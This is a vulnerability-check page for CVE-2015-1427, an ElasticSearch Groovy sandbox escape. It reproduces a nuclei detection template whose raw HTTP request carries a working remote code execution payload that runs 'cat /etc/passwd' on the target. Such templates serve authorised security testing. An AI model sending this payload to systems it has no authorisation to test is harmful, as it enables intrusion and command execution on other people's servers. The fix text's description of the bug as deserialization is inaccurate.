ElasticSearch - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

7.5CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.

How to confirm it

Send: POST /website/blog/ ; POST /_search
Positive when: contains in header "application/json" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-1427 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-1427

info:
  name: ElasticSearch - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
  reference:
    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427
    - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html
    - https://access.redhat.com/errata/RHSA-2017:0868
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-1427
    cwe-id: CWE-284
    epss-score: 0.99906
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev,vkev,vuln

http:
  - raw:
      - |
        POST /website/blog/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
          "name": "test"
        }
      - |
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from